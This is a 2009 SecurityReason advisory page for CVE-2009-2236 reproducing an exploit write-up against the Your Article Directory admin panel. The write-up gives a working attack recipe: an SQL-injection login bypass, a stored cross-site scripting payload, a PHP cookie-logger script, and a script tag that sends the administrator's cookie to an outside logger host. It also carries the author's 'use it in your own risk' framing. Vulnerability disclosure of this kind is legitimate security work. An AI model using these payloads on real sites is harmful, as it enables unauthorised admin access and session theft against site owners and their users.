|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||||
SecurityAlert : 5966 CVE : CVE-2009-2236 CWE : CWE-89 SecurityRisk : Medium  (About) Remote Exploit : Yes Local Exploit : No Victim interaction required : No Exploit Available : Yes
Credit : Egy Published : 30.06.2009
Advisory Content : ___ ___ __ / | \_____ | | _____ ___ ___________ / ~ \__ \ | |/ /\ \/ // __ \_ __ \ \ Y // __ \| < > <\ ___/| | \/ \___|_ /(____ /__|_ \/__/\_ \\___ >__| \/ \/ \/ \/ \/ :: Egy Coders Team Researcher /- Your Article Directory => multiple vulnerabilities /- site : http://www.yourarticlesdirectory.com /- Demo : http://www.ezynearticles.com/designs/demo/yad-admin /- Greetz : all my friends /- http://hakxer.blogspot.com/ * hi every body * in this vulnerability you can get Authentication to bypass admin panel * first go to http://host/path/yad-admin/ * and in admin type * username : admin 'or' 1=1 * password : hakxer * now we in panel * you can make a cross site scripting vulnerability in panel * go to http://host/path/yad-admin/newpage.php * then in title write anything and in content write * >"<script>alert("hakxer")</script><div style="1 * and click save page and go to http://host/path/yad-admin/pages.php * and goto this http://host/path/yad-admin/newpages.php?id=[id] * xss was running successfully * if you want to get the admin cookie * you can use cookie grabber and to make it you can see this steps : * first make file ( logger.php ) and input this code in it <?php $cookie = $_GET['cookie']; $logger = fopen("logger.txt", "a"); fwrite($logger, $cookie ."\n"); fclose($logger); ?> * and upload file into any webhost * then create logger.txt and chmod it to 777 * now the time to attack * goto http://host/path/yad-admin/newpage.php * and in title write ( blah blah come admin ) :d * and in content write this js code <script>document.location ="http://host/path/logger.php?cookie=" + document.cookie;</script> * and click save page * now if admin go to our saved page the cookie will send to logger.txt ** notes : ** use it in your own risk ./be safe - Hakxer - References : http://securityreason.com/expldownload/1/6286/1 (Exploit)  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||||
| Alert | ||
libc:fts_*() Multiple Denial of Service
The fts functions are provided for traversing UNIX file hierarchies... |
||
| Apache |  |
|
» Apache Tomcat 6.0.20 and |
||
» Apache Tomcat 6.0.20 and |
||
» Apache Tomcat 6.0.20 and |
||
| PHP | |
|
» PHP 5.2.12/5.3.1 |
||
- 2009-10-02| Copyright © SecurityReason.com. All Rights Reserved. |